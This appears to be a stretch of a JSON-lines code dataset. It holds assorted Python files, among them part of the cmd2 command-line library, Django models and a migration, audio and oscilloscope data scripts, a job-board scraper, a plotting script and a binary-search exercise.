HistoryItem(str):\n \"\"\"Class used to represent an item in the History list.\n\n Thin wrapper around str class which adds a custom format for printing. It\n also keeps track of its index in the list as well as a lowercase\n representation of itself for convenience/efficiency.\n\n \"\"\"\n listformat = '-------------------------[{}]\\n{}\\n'\n\n # noinspection PyUnusedLocal\n def __init__(self, instr):\n str.__init__(self)\n self.lowercase = self.lower()\n self.idx = None\n\n def pr(self):\n \"\"\"Represent a HistoryItem in a pretty fashion suitable for printing.\n\n :return: str - pretty print string version of a HistoryItem\n \"\"\"\n return self.listformat.format(self.idx, str(self).rstrip())\n\n\nclass History(list):\n \"\"\" A list of HistoryItems that knows how to respond to user requests. \"\"\"\n\n # noinspection PyMethodMayBeStatic\n def _zero_based_index(self, onebased):\n result = onebased\n if result > 0:\n result -= 1\n return result\n\n def _to_index(self, raw):\n if raw:\n result = self._zero_based_index(int(raw))\n else:\n result = None\n return result\n\n spanpattern = re.compile(r'^\\s*(?P-?\\d+)?\\s*(?P:|(\\.{2,}))?\\s*(?P-?\\d+)?\\s*$')\n\n def span(self, raw):\n \"\"\"Parses the input string search for a span pattern and if if found, returns a slice from the History list.\n\n :param raw: str - string potentially containing a span of the forms a..b, a:b, a:, ..b\n :return: List[HistoryItem] - slice from the History list\n \"\"\"\n if raw.lower() in ('*', '-', 'all'):\n raw = ':'\n results = self.spanpattern.search(raw)\n if not results:\n raise IndexError\n if not results.group('separator'):\n return [self[self._to_index(results.group('start'))]]\n start = self._to_index(results.group('start')) or 0 # Ensure start is not None\n end = self._to_index(results.group('end'))\n reverse = False\n if end is not None:\n if end < start:\n (start, end) = (end, start)\n reverse = True\n end += 1\n result = self[start:end]\n if reverse:\n result.reverse()\n return result\n\n rangePattern = re.compile(r'^\\s*(?P[\\d]+)?\\s*-\\s*(?P[\\d]+)?\\s*$')\n\n def append(self, new):\n \"\"\"Append a HistoryItem to end of the History list\n\n :param new: str - command line to convert to HistoryItem and add to the end of the History list\n \"\"\"\n new = HistoryItem(new)\n list.append(self, new)\n new.idx = len(self)\n\n def get(self, getme=None):\n \"\"\"Get an item or items from the History list using 1-based indexing.\n\n :param getme: int or str - item(s) to get - either an integer index or string to search for\n :return: List[str] - list of HistoryItems matching the retrieval criteria\n \"\"\"\n if not getme:\n return self\n try:\n getme = int(getme)\n if getme < 0:\n return self[:(-1 * getme)]\n else:\n return [self[getme - 1]]\n except IndexError:\n return []\n except ValueError:\n range_result = self.rangePattern.search(getme)\n if range_result:\n start = range_result.group('start') or None\n end = range_result.group('start') or None\n if start:\n start = int(start) - 1\n if end:\n end = int(end)\n return self[start:end]\n\n # noinspection PyUnresolvedReferences\n getme = getme.strip()\n\n if getme.startswith(r'/') and getme.endswith(r'/'):\n finder = re.compile(getme[1:-1], re.DOTALL | re.MULTILINE | re.IGNORECASE)\n\n def isin(hi):\n \"\"\"Listcomp filter function for doing a regular expression search of History.\n\n :param hi: HistoryItem\n :return: bool - True if search matches\n \"\"\"\n return finder.search(hi)\n else:\n def isin(hi):\n \"\"\"Listcomp filter function for doing a case-insensitive string search of History.\n\n :param hi: HistoryItem\n :return: bool - True if search matches\n \"\"\"\n return getme.lower() in hi.lowercase\n return [itm for itm in self if isin(itm)]\n\n\ndef cast(current, new):\n \"\"\"Tries to force a new value into the same type as the current when trying to set the value for a parameter.\n\n :param current: current value for the parameter, type varies\n :param new: str - new value\n :return: new value with same type as current, or the current value if there was an error casting\n \"\"\"\n typ = type(current)\n if typ == bool:\n try:\n return bool(int(new))\n except (ValueError, TypeError):\n pass\n try:\n new = new.lower()\n except AttributeError:\n pass\n if (new == 'on') or (new[0] in ('y', 't')):\n return True\n if (new == 'off') or (new[0] in ('n', 'f')):\n return False\n else:\n try:\n return typ(new)\n except (ValueError, TypeError):\n pass\n print(\"Problem setting parameter (now %s) to %s; incorrect type?\" % (current, new))\n return current\n\n\nclass Statekeeper(object):\n \"\"\"Class used to save and restore state during load and py commands as well as when redirecting output or pipes.\"\"\"\n def __init__(self, obj, attribs):\n \"\"\"Use the instance attributes as a generic key-value store to copy instance attributes from outer object.\n\n :param obj: instance of cmd2.Cmd derived class (your application instance)\n :param attribs: Tuple[str] - tuple of strings listing attributes of obj to save a copy of\n \"\"\"\n self.obj = obj\n self.attribs = attribs\n if self.obj:\n self._save()\n\n def _save(self):\n \"\"\"Create copies of attributes from self.obj inside this Statekeeper instance.\"\"\"\n for attrib in self.attribs:\n setattr(self, attrib, getattr(self.obj, attrib))\n\n def restore(self):\n \"\"\"Overwrite attributes in self.obj with the saved values stored in this Statekeeper instance.\"\"\"\n if self.obj:\n for attrib in self.attribs:\n setattr(self.obj, attrib, getattr(self, attrib))\n\n\nclass OutputTrap(object):\n \"\"\"Instantiate an OutputTrap to divert/capture ALL stdout output. For use in transcript testing.\"\"\"\n\n def __init__(self):\n self.contents = ''\n\n def write(self, txt):\n \"\"\"Add text to the internal contents.\n\n :param txt: str\n \"\"\"\n self.contents += txt\n\n def read(self):\n \"\"\"Read from the internal contents and then clear them out.\n\n :return: str - text from the internal contents\n \"\"\"\n result = self.contents\n self.contents = ''\n return result\n\n\nclass Cmd2TestCase(unittest.TestCase):\n \"\"\"Subclass this, setting CmdApp, to make a unittest.TestCase class\n that will execute the commands in a transcript file and expect the results shown.\n See example.py\"\"\"\n cmdapp = None\n\n def fetchTranscripts(self):\n self.transcripts = {}\n for fileset in self.cmdapp.testfiles:\n for fname in glob.glob(fileset):\n tfile = open(fname)\n self.transcripts[fname] = iter(tfile.readlines())\n tfile.close()\n if not len(self.transcripts):\n raise Exception(\"No test files found - nothing to test.\")\n\n def setUp(self):\n if self.cmdapp:\n self.fetchTranscripts()\n\n # Trap stdout\n self._orig_stdout = self.cmdapp.stdout\n self.cmdapp.stdout = OutputTrap()\n\n def runTest(self): # was testall\n if self.cmdapp:\n its = sorted(self.transcripts.items())\n for (fname, transcript) in its:\n self._test_transcript(fname, transcript)\n\n def _test_transcript(self, fname, transcript):\n line_num = 0\n finished = False\n line = strip_ansi(next(transcript))\n line_num += 1\n while not finished:\n # Scroll forward to where actual commands begin\n while not line.startswith(self.cmdapp.visible_prompt):\n try:\n line = strip_ansi(next(transcript))\n except StopIteration:\n finished = True\n break\n line_num += 1\n command = [line[len(self.cmdapp.visible_prompt):]]\n line = next(transcript)\n # Read the entirety of a multi-line command\n while line.startswith(self.cmdapp.continuation_prompt):\n command.append(line[len(self.cmdapp.continuation_prompt):])\n try:\n line = next(transcript)\n except StopIteration:\n raise (StopIteration,\n 'Transcript broke off while reading command beginning at line {} with\\n{}'.format(line_num,\n command[0])\n )\n line_num += 1\n command = ''.join(command)\n # Send the command into the application and capture the resulting output\n # TODO: Should we get the return value and act if stop == True?\n self.cmdapp.onecmd_plus_hooks(command)\n result = self.cmdapp.stdout.read()\n # Read the expected result from transcript\n if strip_ansi(line).startswith(self.cmdapp.visible_prompt):\n message = '\\nFile {}, line {}\\nCommand was:\\n{}\\nExpected: (nothing)\\nGot:\\n{}\\n'.format(\n fname, line_num, command, result)\n self.assert_(not (result.strip()), message)\n continue\n expected = []\n while not strip_ansi(line).startswith(self.cmdapp.visible_prompt):\n expected.append(line)\n try:\n line = next(transcript)\n except StopIteration:\n finished = True\n break\n line_num += 1\n expected = ''.join(expected)\n\n # transform the expected text into a valid regular expression\n expected = self._transform_transcript_expected(expected)\n message = '\\nFile {}, line {}\\nCommand was:\\n{}\\nExpected:\\n{}\\nGot:\\n{}\\n'.format(\n fname, line_num, command, expected, result)\n self.assertTrue(re.match(expected, result, re.MULTILINE | re.DOTALL), message)\n\n def _transform_transcript_expected(self, s):\n \"\"\"parse the string with slashed regexes into a valid regex\"\"\"\n regex = ''\n start = 0\n\n while True:\n (regex, first_slash_pos, start) = self._escaped_find(regex, s, start, False)\n if first_slash_pos == -1:\n # no more slashes, add the rest of the string and bail\n regex += re.escape(s[start:])\n break\n else:\n # there is a slash, add everything we have found so far\n # add stuff before the first slash as plain text\n regex += re.escape(s[start:first_slash_pos])\n start = first_slash_pos+1\n # and go find the next one\n (regex, second_slash_pos, start) = self._escaped_find(regex, s, start, True)\n if second_slash_pos > 0:\n # add everything between the slashes (but not the slashes)\n # as a regular expression\n regex += s[start:second_slash_pos]\n # and change where we start looking for slashed on the\n # turn through the loop\n start = second_slash_pos + 1\n else:\n # No closing slash, we have to add the first slash,\n # and the rest of the text\n regex += re.escape(s[start-1:])\n break\n return regex\n\n @staticmethod\n def _escaped_find(regex, s, start, in_regex):\n \"\"\"\n Find the next slash in {s} after {start} that is not preceded by a backslash.\n\n If we find an escaped slash, add everything up to and including it to regex,\n updating {start}. {start} therefore serves two purposes, tells us where to start\n looking for the next thing, and also tells us where in {s} we have already\n added things to {regex}\n\n {in_regex} specifies whether we are currently searching in a regex, we behave\n differently if we are or if we aren't.\n \"\"\"\n\n while True:\n pos = s.find('/', start)\n if pos == -1:\n # no match, return to caller\n break\n elif pos == 0:\n # slash at the beginning of the string, so it can't be\n # escaped. We found it.\n break\n else:\n # check if the slash is preceeded by a backslash\n if s[pos-1:pos] == '\\\\':\n # it is.\n if in_regex:\n # add everything up to the backslash as a\n # regular expression\n regex += s[start:pos-1]\n # skip the backslash, and add the slash\n regex += s[pos]\n else:\n # add everything up to the backslash as escaped\n # plain text\n regex += re.escape(s[start:pos-1])\n # and then add the slash as escaped\n # plain text\n regex += re.escape(s[pos])\n # update start to show we have handled everything\n # before it\n start = pos+1\n # and continue to look\n else:\n # slash is not escaped, this is what we are looking for\n break\n return regex, pos, start\n\n def tearDown(self):\n if self.cmdapp:\n # Restore stdout\n self.cmdapp.stdout = self._orig_stdout\n\n\ndef namedtuple_with_two_defaults(typename, field_names, default_values=('', '')):\n \"\"\"Wrapper around namedtuple which lets you treat the last value as optional.\n\n :param typename: str - type name for the Named tuple\n :param field_names: List[str] or space-separated string of field names\n :param default_values: (optional) 2-element tuple containing the default values for last 2 parameters in named tuple\n Defaults to an empty string for both of them\n :return: namedtuple type\n \"\"\"\n T = collections.namedtuple(typename, field_names)\n T.__new__.__defaults__ = default_values\n return T\n\n\nclass CmdResult(namedtuple_with_two_defaults('CmdResult', ['out', 'err', 'war'])):\n \"\"\"Derive a class to store results from a named tuple so we can tweak dunder methods for convenience.\n\n This is provided as a convenience and an example for one possible way for end users to store results in\n the self._last_result attribute of cmd2.Cmd class instances. See the \"python_scripting.py\" example for how it can\n be used to enable conditional control flow.\n\n Named tuple attributes\n ----------------------\n out - this is intended to store normal output data from the command and can be of any type that makes sense\n err: str - (optional) this is intended to store an error message and it being non-empty indicates there was an error\n Defaults to an empty string\n war: str - (optional) this is intended to store a warning message which isn't quite an error, but of note\n Defaults to an empty string.\n\n NOTE: Named tuples are immutable. So the contents are there for access, not for modification.\n \"\"\"\n def __bool__(self):\n \"\"\"If err is an empty string, treat the result as a success; otherwise treat it as a failure.\"\"\"\n return not self.err\n\n def __nonzero__(self):\n \"\"\"Python 2 uses this method for determining Truthiness\"\"\"\n return self.__bool__()\n\n\nif __name__ == '__main__':\n # If run as the main application, simply start a bare-bones cmd2 application with only built-in functionality.\n\n # Set \"use_ipython\" to True to include the ipy command if IPython is installed, which supports advanced interactive\n # debugging of your application via introspection on self.\n app = Cmd(use_ipython=False)\n app.cmdloop()\n","sub_path":"cmd2.py","file_name":"cmd2.py","file_ext":"py","file_size_in_byte":107558,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"279028545","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('erp', '0112_auto_20160524_1416'),\n ]\n\n operations = [\n migrations.AlterField(\n model_name='product',\n name='return_expected',\n field=models.DecimalField(default=0, verbose_name='\\u9884\\u671f\\u6536\\u76ca(\\u663e\\u793a\\u5728\\u9996\\u9875)', max_digits=6, decimal_places=4),\n preserve_default=False,\n ),\n ]\n","sub_path":"code/lvmeng_project-master/erp/migrations/0113_auto_20160524_1613.py","file_name":"0113_auto_20160524_1613.py","file_ext":"py","file_size_in_byte":548,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"112209833","text":"'''\nCreate datasets for wav sound files with characterization\n\nFunctions:\n \n\nCMSC422 Final Project\n@author:\n Danielle Firer\n April 21 2020\n'''\nfrom scipy.io import wavfile as wav\nfrom sklearn.model_selection import train_test_split\nimport os\nimport random\n'''\nCreate a spectrogram for the given audio sample using fourier transform.\nSpectrogram is created by computing the fourier transform of a window of\nthe sample. The window is moved by the stride to get the time change of\nthe sound. We wrap each window with the Hanning function to avoid artifacts\nproduced by clipping the edges of a cycle. We assume a sample rate of 16kHz,\nso our frequency bins will range from 0 to 8kHz.\n\n@params:\n samples - 1D np.array of audio amplitudes of length N\n sample_rate - sampling rate of audio in Hz, default 16 kHz\n overlap_p - percent each window overlaps the previous,\n used to calculate size of stride default 50%\n window_ms - size of window in ms, default 20ms\n eps - minimum value for spectrogram, default 1e-14\n\n@returns:\n bins - 1D np.array of time bins for spectrogram corresponding \n to sample time, length \n M = ((N / sample_rate * stride * 0.001) - 1)\n freqs - 1D np.array of frequency bins from 0 to 8kHz, length\n K = ((sample_rate * window_ms * 0.001) / 2) + 1\n specgram - 2D np.array of spectrogram, where the value is the\n amplitude of the fourier transform at the corresponding\n frequency and time, size\n (K, M)\n\n cats:0, dogs:1 female:0, male:1 \n'''\n\nclass Sound1:\n def __init__(self, sound, rate, type):\n self.sound = sound\n self.rate= rate\n self.type = type\n\n\nclass Sound:\n def __init__(self, sound, rate):\n self.sound = sound\n self.rate= rate\n\nfilepath_animal = \"./cat_dog/\"\nfilepath_human = \"./female_male/\"\n\n##cat dog method returns wavinfo_train, wavinfo_test, type_train, type_test\ndef cat_dog():\n cats=['test/cats/', 'train/cat/']\n dogs=['test/dog/', 'train/dog/']\n\n all_d_c_1=[]\n all_d_c=[]\n all_d_c_types=[]\n for c in cats:\n files= os.listdir(filepath_animal+c)\n for f in files:\n rate, wav_sample = wav.read(filepath_animal+c+f)\n all_d_c_1.append(Sound1(wav_sample, rate, 0))\n \n for d in dogs:\n files= os.listdir(filepath_animal+d)\n for f in files:\n rate, wav_sample = wav.read(filepath_animal+d+f)\n all_d_c_1.append(Sound1(wav_sample, rate, 1))\n\n random.shuffle(all_d_c_1)\n for each in all_d_c_1:\n all_d_c.append(Sound(each.sound, each.rate))\n all_d_c_types.append(each.type)\n\n #print(all_d_c_types) \n wavinfo_train, wavinfo_test, type_train, type_test = train_test_split(all_d_c, all_d_c_types, test_size=0.25)\n return [wavinfo_train, wavinfo_test, type_train, type_test]\n\ndef female_male():\n folds=['female/', 'male/']\n\n all_d_c_1=[]\n all_d_c=[]\n all_d_c_types=[]\n for c in range(len(folds)):\n files= os.listdir(filepath_human+folds[c])\n for f in files:\n rate, wav_sample = wav.read(filepath_human+folds[c]+f)\n all_d_c_1.append(Sound1(wav_sample, rate, c))\n \n random.shuffle(all_d_c_1)\n for each in all_d_c_1:\n all_d_c.append(Sound(each.sound, each.rate))\n all_d_c_types.append(each.type)\n\n print(all_d_c_types)\n print(len(all_d_c_types)) \n wavinfo_train, wavinfo_test, type_train, type_test = train_test_split(all_d_c, all_d_c_types, test_size=0.25)\n return [wavinfo_train, wavinfo_test, type_train, type_test]\n\n","sub_path":"data/wrap_data.py","file_name":"wrap_data.py","file_ext":"py","file_size_in_byte":3703,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"25835859","text":"# __init__.py Common functions for uasyncio primitives\n\n# Released under the MIT licence.\n# Copyright (C) Peter Hinch 2019-2020\n\ntry:\n import uasyncio as asyncio\nexcept ImportError:\n import asyncio\n\ntype_gen = type((lambda: (yield))()) # Generator type\n\n# If a callback is passed, run it and return.\n# If a coro is passed initiate it and return.\n# coros are passed by name i.e. not using function call syntax.\ndef launch(func, *tup_args):\n res = func(*tup_args)\n if isinstance(res, type_gen):\n loop = asyncio.get_event_loop()\n loop.create_task(res)\n\ndef set_global_exception():\n def _handle_exception(loop, context):\n import sys\n sys.print_exception(context[\"exception\"])\n sys.exit()\n loop = asyncio.get_event_loop()\n loop.set_exception_handler(_handle_exception)\n","sub_path":"iot/primitives/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":821,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"563408709","text":"import instruments.Oscilloscope as Osc\nimport misc.acquisition as Acq\nfrom VCO.stuff import *\nimport scipy as sp\nimport matplotlib.pyplot as plt\n\nVCO_ch = 1\nVCO_GPIB = 'GPIB0::6::INSTR'\nsawtooth_ch = 2\nsawtooth_GPIB = 'GPIB0::6::INSTR'\n\ndata_channel = Osc.Channel(VCO_ch, VCO_GPIB)\ntrig_channel = Osc.Channel(sawtooth_ch, sawtooth_GPIB)\n\ntime_window = 1e-8\nfull_window = 10 * time_window\ndt = full_window / 2500\nmax_freq = 1e8\ndt_linear = 0.1 * (1 / (2 * sp.pi * max_freq))\nsmall_n = max([5, int(dt_linear / dt)])\ntrig_pos = 0\n\nsawtooth_max = 3.12\nsawtooth_min = 2.12\nsawtooth_period = 1 / 1.5e3\nwindow_step = sawtooth_period / (15 - 1) # full_window\nn_points = int(sawtooth_period / window_step) + 1\ntrig_levels = sp.linspace(sawtooth_min, sawtooth_max, n_points, endpoint=True)\namplitudes = [] # sp.linspace(sawtooth_min, sawtooth_max, n_points, endpoint=True)\noffsets = [] # sp.linspace(sawtooth_min, sawtooth_max, n_points, endpoint=True)\nat_points = []\n\ntrig_channel.Trigger.MODe_set('Normal')\ntrig_channel.Vertical.POSition_set(trig_pos)\ndata_channel.Horizontal.SECdiv_set(time_window)\n\nfor index_i, i in enumerate(trig_levels):\n trig_channel.Trigger.LEVel_set(i)\n time, raw_volts = Acq.scope_data(VCO_ch, sawtooth_GPIB)\n smooth_volts = Acq.moving_average(raw_volts, small_n)\n derivative_times, raw_derivative = full_curve_derivative(time[small_n:-small_n], smooth_volts, dt)\n smooth_derivative = Acq.moving_average(raw_derivative, small_n)\n amp_extremum_locations = find_zeros(smooth_derivative)\n print(index_i)\n for j in range(len(amp_extremum_locations) - 1):\n max_1 = smooth_volts[amp_extremum_locations[j] + 1 + small_n]\n max_1_time = derivative_times[amp_extremum_locations[j]] + index_i * window_step\n max_2 = smooth_volts[amp_extremum_locations[j + 1] + 1 + small_n]\n max_2_time = derivative_times[amp_extremum_locations[j + 1]] + index_i * window_step\n amplitudes.append(abs((max_2 - max_1) / 2))\n offsets.append(abs((max_2 + max_1) / 2))\n at_points.append((max_2_time + max_1_time) / 2)\n print(index_i)\nsp.savetxt('amplitdue_times.txt', sp.asarray(amplitudes))\nsp.savetxt('amplitudes.txt', sp.asarray(amplitudes))\nsp.savetxt('offsets.txt', sp.asarray(offsets))\n\nfig, ax = plt.subplots(nrows=2, ncols=1)\nplt.subplots_adjust(hspace=0.5)\nax[0].scatter(at_points, amplitudes)\nax[0].set_xlabel('Time (s)')\nax[0].set_ylabel('Amplitude (V)')\nax[0].set_title('Amplitude v. Time')\nax[0].set_xlim([0, sawtooth_period])\nax[1].scatter(at_points, offsets)\nax[1].set_xlabel('Time (s)')\nax[1].set_ylabel('Offset (V)')\nax[1].set_title('Offset v. Time')\nax[1].set_xlim([0, sawtooth_period])\nplt.savefig('Amplitude and Offset v Time.png')\nplt.close()\n","sub_path":"VCO/Amplitude_test.py","file_name":"Amplitude_test.py","file_ext":"py","file_size_in_byte":2728,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"557349874","text":"from __future__ import unicode_literals\n\nfrom establecimiento.models import Establecimiento\nfrom django.db import models\n\n# Create your models here.\nclass Evento(models.Model):\n title = models.TextField()\n start = models.DateTimeField()\n end = models.DateTimeField()\n color = models.CharField(max_length=7,default='')\n allDay = models.BooleanField(default=True)\n fecha_creacion = models.DateTimeField(auto_now=True)\n\n def __unicode__(self):\n return unicode(self.title)\n\nclass EventoEstablecimiento(models.Model):\n nombre = models.TextField()\n start = models.DateTimeField()\n end = models.DateTimeField()\n color = models.CharField(max_length=7, default='#CDDC39')\n veterinario = models.TextField()\n establecimiento = models.ForeignKey(Establecimiento,related_name='eventos')\n allDay = models.BooleanField(default=True)\n fecha_creacion = models.DateTimeField(auto_now=True)\n\n\n\n def __unicode__(self):\n return unicode(self.nombre)\n\nclass Vacunacion(models.Model):\n establecimiento = models.ForeignKey(Establecimiento, related_name=\"vacunaciones\")\n fecha_vacunacion = models.DateField()\n nombre = models.CharField(max_length=50, default='')\n nombre_cientifico = models.CharField(max_length=50, default='',blank=True, null=True)\n veterinario = models.CharField(max_length=40, default='')\n enfermedad = models.CharField(max_length=30,default='')\n codigo = models.CharField(max_length=20,default='',blank=True, null=True)\n fecha_creacion = models.DateTimeField(auto_now=True)\n\n\n def __unicode__(self):\n return unicode(self.nombre)\n","sub_path":"sanitacion/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1620,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"316606218","text":"# from https://pyregion.readthedocs.io/en/latest/getting_started.html\n\nimport pyregion\nfrom astropy.io import fits\nimport numpy as np\n\nregion_name = \"F6polygon.reg\"\nr = pyregion.open(region_name)\n\ntemphdu = fits.open('peak_SE_mask_13co_pix_2_Tmb.fits')[0]\ntemphdu.data = temphdu.data[0,:,:]\ntemphdu.header['NAXIS'] = 2\ndel temphdu.header['CRPIX3']\ndel temphdu.header['CDELT3']\ndel temphdu.header['CRVAL3']\ndel temphdu.header['CTYPE3']\n#del temphdu.header['NAXIS3']\nmymask = r.get_mask(hdu=temphdu)\ntemphdu.data[mymask] = 1\ntemphdu.data[~mymask] = 0\nfits.writeto('F6polygon.fits', temphdu.data, temphdu.header, clobber=True)\n\n","sub_path":"makemask.py","file_name":"makemask.py","file_ext":"py","file_size_in_byte":625,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"502482069","text":"# -*- coding: utf-8 -*-\n\"\"\"This file is a JSen spider created on top of the ATSSpider\n\nscrapy crawl j_sen -a url=\"http://job.j-sen.jp/search/?s%5Bemployment%5D%5B0%5D=permanent&s%5Bemployment%5D%5B1%5D=temporary&s%5Bemployment%5D%5B2%5D=other\" -a mining_job_id=999 -a iteration=1 -a extract=1\nsample url:\n http://job.j-sen.jp/search/?s%5Bemployment%5D%5B0%5D=permanent&s%5Bemployment%5D%5B1%D=temporary&s%5Bemployment%5D%5B2%5D=other\n\"\"\"\n\nfrom re import compile\nfrom urlparse import urljoin, urlparse\n\nfrom scrapy.selector import Selector\nfrom scrapy.http import Request\n\nfrom brightcorp.base.atsspiders import ATSSpider\nfrom brightcorp.items import BrightcorpItemLoader\nfrom brightcorp.processors import Prefix, Replace, HtmlFormatter\n\n\nclass JSen(ATSSpider):\n\n name = \"j_sen\"\n REF_REGEX = compile(r'^\\/([^\\/]*)')\n download_delay = 1\n total_pages = 0\n page = 1\n\n def parse(self, response):\n sel = Selector(response)\n if not self.expected_job_count_set:\n expected_count = sel.xpath(\n \"//div[@class='search-pager']/div[1]/p/em/text()\"\n ).extract()\n if expected_count:\n self.expected_job_count = expected_count[0]\n if not self.total_pages:\n count = sel.xpath(\n \"//ul[@class='pagination']/li[contains(@class, 'next')]/preceding-sibling::li[1]/a/text()\"\n ).extract()\n if count:\n self.total_pages = int(count[0])\n\n jobs = sel.xpath(\"//section[contains(@class,'mod-content-plain')]\")\n for job in jobs:\n job_link = job.xpath(\".//a[@class='txt-2']/@href\").extract()\n if job_link:\n job_url = urljoin(response.url, job_link[0])\n meta = {\n 'title': job.xpath(\n \".//a[@class='txt-2']/text()\"\n ).extract(),\n 'company': job.xpath(\n \".//a[@class='txt-1']/text()\"\n ).extract(),\n 'baseSalary': job.xpath(\n \".//li[@class='iwaikin']/span/text()\"\n ).extract(),\n 'location': job.xpath(\n \"//dt[text()='%s']/following-sibling::dd/text()\"\n % unicode(\"勤務地\", 'utf-8')\n ).extract()\n }\n yield Request(\n job_url, meta=meta, callback=self.parse_job_callback()\n )\n\n if self.page < self.total_pages:\n self.page += 1\n next_url = '%(url)s&page=%(page)s' % {\n 'url': self.start_urls[0],\n 'page': self.page\n }\n yield Request(next_url, callback=self.parse)\n\n def parse_job(self, response):\n loader = BrightcorpItemLoader(response=response)\n loader.add_value('url', response.url)\n loader.add_value('title', response.meta['title'])\n loader.add_value(\n 'referencenumber',\n urlparse(response.url).path,\n Prefix(\"%s-\" % self.name),\n re=self.REF_REGEX\n )\n loader.add_value('company', response.meta['company'])\n loader.add_value('baseSalary', response.meta['baseSalary'])\n loader.add_xpath(\n 'location',\n \"//th[contains(text(),'%s')]/following-sibling::td/ol/li[last()]/a/text()\"\n % unicode(\"募集地域\", 'utf-8')\n )\n if not loader.get_output_value('location'):\n loader.add_value('location', response.meta['location'])\n loader.add_xpath(\n 'description',\n \"//div[@id='work']/node()[self::div[@class='catch-content'] or self::table[@class='data-table']]\",\n HtmlFormatter(), Replace(unicode('

地図を表示

', 'utf-8'), \"\")\n )\n yield loader.load_item()\n","sub_path":"brightcorp/brightcorp/spiders/j_sen.py","file_name":"j_sen.py","file_ext":"py","file_size_in_byte":3914,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"557678477","text":"#!/usr/bin/env python\nimport argparse\nimport math\n\nimport matplotlib.pyplot as plt\n\n\ndef file_count(shape, chunkXY, chunkZ=1, chunkT=1, chunkC=1):\n t, c, z, y, x = shape\n return (\n math.ceil(x / chunkXY)\n * math.ceil(y / chunkXY)\n * math.ceil(z / chunkZ)\n * math.ceil(t / chunkT)\n * math.ceil(c / chunkC)\n )\n\n\ngrays = (\n (0.2, 0.2, 0.2),\n (0.4, 0.4, 0.4),\n (0.6, 0.6, 0.6),\n (0.8, 0.8, 0.8),\n)\n\n\ndef plot(ax, twoD=True):\n if twoD:\n shape = (1, 8, 1, 2 ** 16, 2 ** 16)\n chunkSizesXY = [32, 1024]\n chunkSizesOther = (1, 2, 4, 8)\n else:\n shape = (100, 1, 1024, 1024, 1024)\n chunkSizesXY = (16, 32, 64, 128)\n chunkSizesOther = (1, 10, 100)\n\n ax.set_ylabel(\"Number of chunks\")\n ax.set_yscale(\"log\")\n ax.set_xscale(\"log\")\n ax.set(xlim=(10, 2 * 10 ** 3), ylim=(10, 10 ** 8))\n\n if twoD:\n ax.set_xlabel(\"Chunk size (X and Y)\")\n ax.set_title(\"XYZCT: 64k x 64k x 1 x 8 x 1\")\n chunkDim = \"C\"\n annTitle = \"Chosen chunk size:\\n256 x 256 x 1 x 1 x 1\"\n xy = ((256), file_count(shape, 256))\n else:\n ax.set_xlabel(\"Chunk size (XYZ)\")\n ax.set_title(\"XYZCT: 1k x 1k x 1k x 1 x 100\")\n chunkDim = \"T\"\n annTitle = \"Chosen chunk size:\\n32 x 32 x 32 x 1 x 1\"\n xy = ((32), file_count(shape, 32, chunkZ=32))\n\n styles = [\"solid\", \"dashed\", \"dashdot\", \"dotted\"]\n for whichChunk, chunkOther in enumerate(chunkSizesOther):\n numFiles = []\n fileSize = []\n for i in chunkSizesXY:\n if twoD:\n count = file_count(shape, i, **{f\"chunk{chunkDim}\": chunkOther})\n else:\n # Could be simpler\n count = file_count(\n shape, i, chunkZ=i, **{f\"chunk{chunkDim}\": chunkOther}\n )\n numFiles.append(count)\n fileSize.append(i)\n ax.plot(\n fileSize,\n numFiles,\n linewidth=4.0,\n label=f\"{chunkOther}\",\n linestyle=styles.pop(0),\n color=grays[whichChunk],\n )\n\n ax.annotate(\n annTitle,\n xy=xy,\n xycoords=\"data\",\n xytext=(0, 40),\n textcoords=\"offset points\",\n arrowprops=dict(facecolor=\"black\", shrink=0.05),\n horizontalalignment=\"left\",\n verticalalignment=\"center\",\n )\n leg = ax.legend(\n loc=\"lower left\", title=f\"Chunk size ({chunkDim})\", frameon=False\n )\n for legobj in leg.legendHandles:\n legobj.set_linewidth(2.0)\n\n return fig\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser()\n parser.add_argument(\"filename\")\n parser.add_argument(\"--dpi\", type=int, default=600)\n ns = parser.parse_args()\n # fig = plt.figure()\n # ax2D = fig.add_subplot(2, 1, 1)\n # ax3D = fig.add_subplot(2, 1, 2)\n\n fig, ax = plt.subplots(1, 2, figsize=(12, 5))\n plot(ax[1], False)\n plot(ax[0], True)\n\n plt.savefig(ns.filename, dpi=ns.dpi)\n","sub_path":"notebooks/chunks.py","file_name":"chunks.py","file_ext":"py","file_size_in_byte":3069,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"126079752","text":"from bubble_sort import bubble\ndef bin_search(a_list, item):\n first = 0\n last = len(a_list) - 1\n found = False\n\n while first <= last and not found:\n mid_point = (first+last)//2\n if (a_list[mid_point] == item):\n found = True\n print('The element is found at %d', mid_point)\n else:\n if (item < a_list[mid_point] ):\n last = mid_point-1\n else:\n first = mid_point+1\n return found\n\ndef main():\n\n a_list = []\n num = int(input('Enter the number of elements: '))\n for i in range(0,num):\n num_item = input('enter the elements in the array: ')\n a_list.append(num_item)\n\n \n \n\n bubble(a_list)\n\n print(a_list)\n\n search_element = input('enter the element you want to search for: ')\n bin_search(a_list , search_element)\n\nmain()\n","sub_path":"Searching and sorting/searching/binary_search.py","file_name":"binary_search.py","file_ext":"py","file_size_in_byte":862,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"519214433","text":"#!/usr/bin/env python3\n# Import the Pandas library\nimport pandas as 